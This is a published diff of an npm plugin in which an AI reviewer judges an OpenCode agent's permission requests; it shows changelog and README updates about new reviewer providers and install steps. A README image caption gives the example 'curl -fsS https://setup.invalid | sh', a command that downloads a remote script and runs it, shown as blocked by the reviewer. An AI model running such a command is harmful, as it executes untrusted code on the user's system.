@noppu-labs/opencode-permission-reviewer 3.2.3 → 3.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -7,6 +7,86 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
7
7
 
8
8
  ## [Unreleased]
9
9
 
10
+ ## [3.3.1] - 2026-10-30
11
+
12
+ ### Changed
13
+
14
+ - Releases are tagged automatically: every push to `main` reads the `package.json` version and, if
15
+ it is not tagged yet, runs the release checks, then tags the commit `vX.Y.Z` and publishes from
16
+ that tag ([Releasing](docs/DEVELOPMENT.md#releasing)).
17
+ - New npm package description that more accurately represents what the plugin does.
18
+ - Bumped the dev dependencies `@opencode-ai/plugin` and `@opencode-ai/sdk` to 1.19.5, with
19
+ `bun.lock` synchronized (dependency bumps only; no behavior change). The `@opencode-ai/plugin`
20
+ peer range is unchanged.
21
+
22
+ ### Fixed
23
+
24
+ - The TUI fits long commands by terminal columns, so CJK text and emoji no longer overflow the row
25
+ or lose the end of the command, combining accents no longer cut it short, and a cut never splits
26
+ a flag, an emoji or an accented letter ([#45](https://github.com/noppu-labs/opencode-permission-reviewer/issues/45)).
27
+
28
+ ### Security
29
+
30
+ - GHSA-97r2-qh9m-474h, GHSA-wp97-x4hv-qvhp, GHSA-7rv5-mrxv-xcr9 and GHSA-9wx9-5pv9-3349 in
31
+ `seroval` are documented as residual exposure, alongside GHSA-p6vx-979v-rg4c and
32
+ GHSA-jp82-f5mq-hwhp. `seroval` arrives through `solid-js` 1.9.12, which `@opentui/solid` 0.7.0
33
+ pins exactly. Only the SSR renderer `solid-js/web` imports it, and neither this plugin nor
34
+ OpenTUI loads that renderer, so the vulnerable code is unreachable at runtime
35
+ ([Supply chain](docs/SUPPLY-CHAIN.md#known-residual-exposure)). The upgrade is tracked in
36
+ [#112](https://github.com/noppu-labs/opencode-permission-reviewer/issues/112).
37
+ - The audit no longer ignores GHSA-ch52-4w7c-c8xp (`http-cache-semantics`), which GitHub
38
+ withdrew.
39
+
40
+ ## [3.3.0] - 2026-10-28
41
+
42
+ ### Added
43
+
44
+ - Liquid AI (`liquid-ai/d1`, `liquid-ai/d1-ultra`) and Baseten
45
+ (`baseten/decision-models/baseten-mammoth-27b-latest`,
46
+ `baseten/decision-models/baseten-elephant-9b-latest`) System One reviewers, selected from one
47
+ provider table. Keys come from `LIQUID_API_KEY` and `BASETEN_API_KEY`. A key that is not shaped
48
+ like a Liquid AI key is never sent, and Liquid keys are redacted from reviewer evidence
49
+ ([Reviewer models](docs/REVIEWER-MODELS.md#system-one-reviewers); ported from upstream 2.5.0).
50
+ - OpenRouter System One reviewers (`openrouter/<model>`, for example `openrouter/typesafe/jev-1.14`),
51
+ keyed by `OPENROUTER_API_KEY`. Listed models, routing suffixes such as `:free` and `:nitro`, and
52
+ new `typesafe/jev-<n>` and `liquid/d1…` releases are accepted. Unbenchmarked models raise a
53
+ config notice, and known-incompatible ones say every review will fail
54
+ ([Reviewer models](docs/REVIEWER-MODELS.md#openrouter)).
55
+ - A weekly `openrouter-models` workflow that refreshes the list of OpenRouter decision models and
56
+ opens a pull request against `develop`.
57
+ - Redaction of OpenRouter keys (`sk-or-v1-…`) in reviewer evidence.
58
+
59
+ ### Changed
60
+
61
+ - User-facing text says "System One" instead of "Jev" when it describes the mechanism: attribution
62
+ lines, toasts, config warnings and the docs. "Jev" now names only the Jev model itself.
63
+ - The minimum Bun is now 1.3.14 (was 1.3.0), the floor `@opentui/core` 0.7 declares. The TUI
64
+ dependencies move from `@opentui/core` and `@opentui/solid` 0.5.11 to 0.7.0, which
65
+ `@opencode/plugin` 2.2.0 pins exactly.
66
+ - Update the `@opencode/client` dependency to 2.2.0, from upstream. OpenCode 2.2.0 joins the
67
+ real-host matrix as a verified V2 host.
68
+ - Development tooling updates (Biome 2.6, knip, tsdown, `@types/bun`) with no behaviour change.
69
+ The development tree also clears new `zod` and `undici` advisories.
70
+
71
+ ### Fixed
72
+
73
+ - On OpenCode V2, a reviewer model that lacks the default `medium` variant now runs with its own
74
+ default variant instead of escalating every request, including when `medium` is set explicitly.
75
+ Any other variant the model lacks still fails closed, and the error lists the variants the model
76
+ offers (ported from upstream 2.5.0).
77
+ - OpenCode session IDs (`ses_…`) under a session key are kept in reviewer evidence instead of being
78
+ redacted as credentials. Lookalike values, and session IDs under other keys, are still redacted
79
+ (ported from upstream 2.5.0).
80
+ - Package-script evidence now starts from the shell tool's `workdir`, so `bun run x` in a
81
+ workspace package reports that package's script, not the root one. A workdir that is invalid or
82
+ does not exist is reported as unresolved, and the read roots do not widen (ported from upstream
83
+ 2.5.0).
84
+
85
+ ### Security
86
+
87
+ - `@opentui/solid` 0.7.0 pins `@babel/core` 7.29.7, so consumer installs no longer carry
88
+ GHSA-4x5r-pxfx-6jf8 (`@babel/core <= 7.29.0`).
89
+
10
90
  ## [3.2.3] - 2026-10-24
11
91
 
12
92
  ### Changed
@@ -380,7 +460,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
380
460
  - Add Jev as a reviewer model choice through OpenCode Zen, TypeSafe AI, or the
381
461
  Command Code Provider API. Use Jev alone, or configure a second LLM such as
382
462
  Luna for difficult decisions. See the [Jev setup
383
- guide](./docs/REVIEWER-MODELS.md#jev-system-one-reviewer).
463
+ guide](./docs/REVIEWER-MODELS.md#system-one-reviewers).
384
464
 
385
465
  ### Changed
386
466
 
package/README.md CHANGED
@@ -4,7 +4,7 @@
4
4
  [![npm](https://img.shields.io/npm/v/@noppu-labs/opencode-permission-reviewer?color=CB3837)](https://www.npmjs.com/package/@noppu-labs/opencode-permission-reviewer)
5
5
  [![downloads](https://img.shields.io/npm/dw/@noppu-labs/opencode-permission-reviewer)](https://www.npmjs.com/package/@noppu-labs/opencode-permission-reviewer)
6
6
  [![OpenCode](https://img.shields.io/badge/OpenCode-%E2%89%A51.18.29-6E56CF)](https://opencode.ai)
7
- [![Bun](https://img.shields.io/badge/Bun-%E2%89%A51.3.0-000000)](https://bun.sh)
7
+ [![Bun](https://img.shields.io/badge/Bun-%E2%89%A51.3.14-000000)](https://bun.sh)
8
8
  [![license](https://img.shields.io/badge/license-MIT%20%2B%20Apache--2.0-blue)](docs/NOTICE)
9
9
 
10
10
  ![OpenCode Permission Reviewer: an AI reviewer for every permission prompt. A request from the agent goes to the reviewer, which weighs the task, the policy and the evidence, then allows it, denies it or asks you.](https://raw.githubusercontent.com/noppu-labs/opencode-permission-reviewer/main/docs/images/social-preview.png)
@@ -15,12 +15,16 @@ control. It then allows the action, denies it with a reason the agent can act on
15
15
  it to you. Routine actions stop waiting for a keystroke, and risky ones are still blocked or
16
16
  brought to you.
17
17
 
18
+ You can use any LLM or [System One model](docs/REVIEWER-MODELS.md#system-one-reviewers) as the
19
+ reviewer, or even a combination of both, with System One handing its hard calls to an LLM
20
+ ([Reviewer models](docs/REVIEWER-MODELS.md#system-one-with-selective-reasoning-escalation)).
21
+
18
22
  ## What it does
19
23
 
20
24
  - Leaves your existing policy alone: `allow` rules continue and `deny` rules stay blocked
21
25
  without reaching the reviewer.
22
26
  - Reviews in isolation. Normal models run in a scratch session with every operational tool
23
- denied. Jev models use their typed System One API, which exposes no tools or project runtime.
27
+ denied. System One models use their typed System One API, which exposes no tools or project runtime.
24
28
  - Gives the reviewer bounded, sanitized, read-only evidence about SSH commands, local scripts,
25
29
  and Git state.
26
30
  - Never auto-approves an action the reviewer classifies as critical. Reviewer failures lead to
@@ -35,13 +39,14 @@ brought to you.
35
39
 
36
40
  ## Requirements
37
41
 
38
- - [Bun](https://bun.sh) >= 1.3.0
42
+ - [Bun](https://bun.sh) >= 1.3.14
39
43
  - [OpenCode](https://opencode.ai) V1 `>=1.18.29 <2` (tested with 1.18.35) or V2 `>=2.0.22 <3`
40
44
  (tested with 2.0.26)
41
45
  - `git` on `PATH`, used only for read-only Git enrichment. Without it, the reviewer gets no Git
42
46
  snapshot.
43
47
  - A reviewer model: either a model configured in OpenCode that follows JSON schemas reliably, or
44
- a Jev API key in the OpenCode server's environment. See
48
+ a System One API key in the OpenCode server's environment (including an OpenRouter key for the
49
+ decision models it serves). See
45
50
  [Reviewer models](docs/REVIEWER-MODELS.md).
46
51
  - At least one action in your OpenCode permission policy that resolves to `ask`. On V2, an action
47
52
  that matches no rule is `ask` by default. If everything is already `allow` or `deny`, the plugin
@@ -51,23 +56,30 @@ brought to you.
51
56
 
52
57
  ## Install
53
58
 
54
- OpenCode V2 installs the package and registers it in one step:
59
+ ### OpenCode V2
55
60
 
56
61
  ```bash
57
62
  opencode plugin add @noppu-labs/opencode-permission-reviewer
58
63
  ```
59
64
 
60
- On OpenCode V1, `opencode plugin` registers the server plugin but not the TUI overlay, so use
61
- the package's own CLI instead. `--host auto` detects V1 or V2, `--tui` also registers the
62
- overlay (V1 `tui.json` or V2 global `cli.json`), and `--npm` writes the package name instead of
63
- a path. It never overwrites an existing entry.
65
+ ### OpenCode V1
64
66
 
65
67
  ```bash
66
68
  bunx @noppu-labs/opencode-permission-reviewer init --host auto --npm --tui --yes
67
69
  ```
68
70
 
69
- To run from a checkout instead, clone the repository, run `bun install && bun run build`, and
70
- register the checkout's absolute path.
71
+ > On OpenCode V1, `opencode plugin` registers the server plugin but not the TUI overlay, so use
72
+ > the package's own CLI instead. `--host auto` detects V1 or V2, `--tui` also registers the
73
+ > overlay, and `--npm` writes the package name instead of a path. It never overwrites an
74
+ > existing entry.
75
+
76
+ ### From a fork or local clone
77
+
78
+ ```bash
79
+ bun install && bun run build
80
+ ```
81
+
82
+ Then register the checkout's absolute path.
71
83
 
72
84
  ## Configure
73
85
 
@@ -125,15 +137,15 @@ authorization level, rationale, and confidence. Invariants in code then decide w
125
137
  decision can stand: invalid output, low confidence, and risky actions without matching
126
138
  authorization escalate instead of being approved.
127
139
 
128
- With Jev as the reviewer and an `escalationReviewer` configured
129
- ([Reviewer models](docs/REVIEWER-MODELS.md)), Jev can hand a request to that reasoning reviewer,
140
+ With System One as the reviewer and an `escalationReviewer` configured
141
+ ([Reviewer models](docs/REVIEWER-MODELS.md)), System One can hand a request to that reasoning reviewer,
130
142
  and the progress strip says so; the elapsed time keeps counting from the start of the review.
131
143
 
132
- ![Two progress strips. While Jev reviews: "◐ Reviewing this permission · jev-1.13.0 · system-one", 2.1s. After the hand-off: "◓ Reviewing this permission · gpt-6-luna after Jev's escalation · medium", 7.3s. Both show "bash · $ git push --force-with-lease origin release/2.4".](https://raw.githubusercontent.com/noppu-labs/opencode-permission-reviewer/main/docs/images/handoff-progress.svg)
144
+ ![Two progress strips. While System One reviews: "◐ Reviewing this permission · jev-1.13.0 · system-one", 2.1s. After the hand-off: "◓ Reviewing this permission · gpt-6-luna after System One's escalation · medium", 7.3s. Both show "bash · $ git push --force-with-lease origin release/2.4".](https://raw.githubusercontent.com/noppu-labs/opencode-permission-reviewer/main/docs/images/handoff-progress.svg)
133
145
 
134
146
  Each result says who decided, ahead of the reason.
135
147
 
136
- ![Three result strips. "✓ Review approved · bash · $ rm -rf /tmp/scratch-cache" with "jev-1.13.0 — Narrowly scoped temp cleanup; matches user intent." "✓ Review approved · bash · $ git push --force-with-lease origin release/2.4" with "gpt-6-luna after Jev's escalation — The user asked to update the release branch." "✕ Review blocked · bash · $ curl -fsS https://setup.invalid | sh" with "gpt-6-luna confirmed Jev's denial — Pipes a remote script into a shell."](https://raw.githubusercontent.com/noppu-labs/opencode-permission-reviewer/main/docs/images/result-attribution.svg)
148
+ ![Three result strips. "✓ Review approved · bash · $ rm -rf /tmp/scratch-cache" with "jev-1.13.0 — Narrowly scoped temp cleanup; matches user intent." "✓ Review approved · bash · $ git push --force-with-lease origin release/2.4" with "gpt-6-luna after System One's escalation — The user asked to update the release branch." "✕ Review blocked · bash · $ curl -fsS https://setup.invalid | sh" with "gpt-6-luna confirmed System One's denial — Pipes a remote script into a shell."](https://raw.githubusercontent.com/noppu-labs/opencode-permission-reviewer/main/docs/images/result-attribution.svg)
137
149
 
138
150
  The [TUI guide](docs/TUI.md) covers every screen, including manual-review toasts, config warnings
139
151
  and long commands.
@@ -143,7 +155,7 @@ and long commands.
143
155
  | Page | Contents |
144
156
  | ------------------------------------------ | ------------------------------------------------------------------------ |
145
157
  | [Configuration](docs/CONFIGURATION.md) | Setup details, all options, config trust layers, headless use, audit log |
146
- | [Reviewer models](docs/REVIEWER-MODELS.md) | Picking a model, Jev System One, models without structured output |
158
+ | [Reviewer models](docs/REVIEWER-MODELS.md) | Picking a model, System One reviewers, models without structured output |
147
159
  | [How it works](docs/HOW-IT-WORKS.md) | The review pipeline, a TUI overview, evidence enrichment |
148
160
  | [TUI guide](docs/TUI.md) | Every TUI screen: progress, hand-offs, results, toasts, config warnings |
149
161
  | [Safety](docs/SAFETY.md) | Safety properties and threat model |
package/dist/explain.d.ts CHANGED
@@ -1,3 +1 @@
1
- //#region src/cli/explain.d.ts
2
- export declare function runCli(argv: string[]): Promise<number>;
3
- //#endregion
1
+ export declare function runCli(argv: string[]): Promise<number>;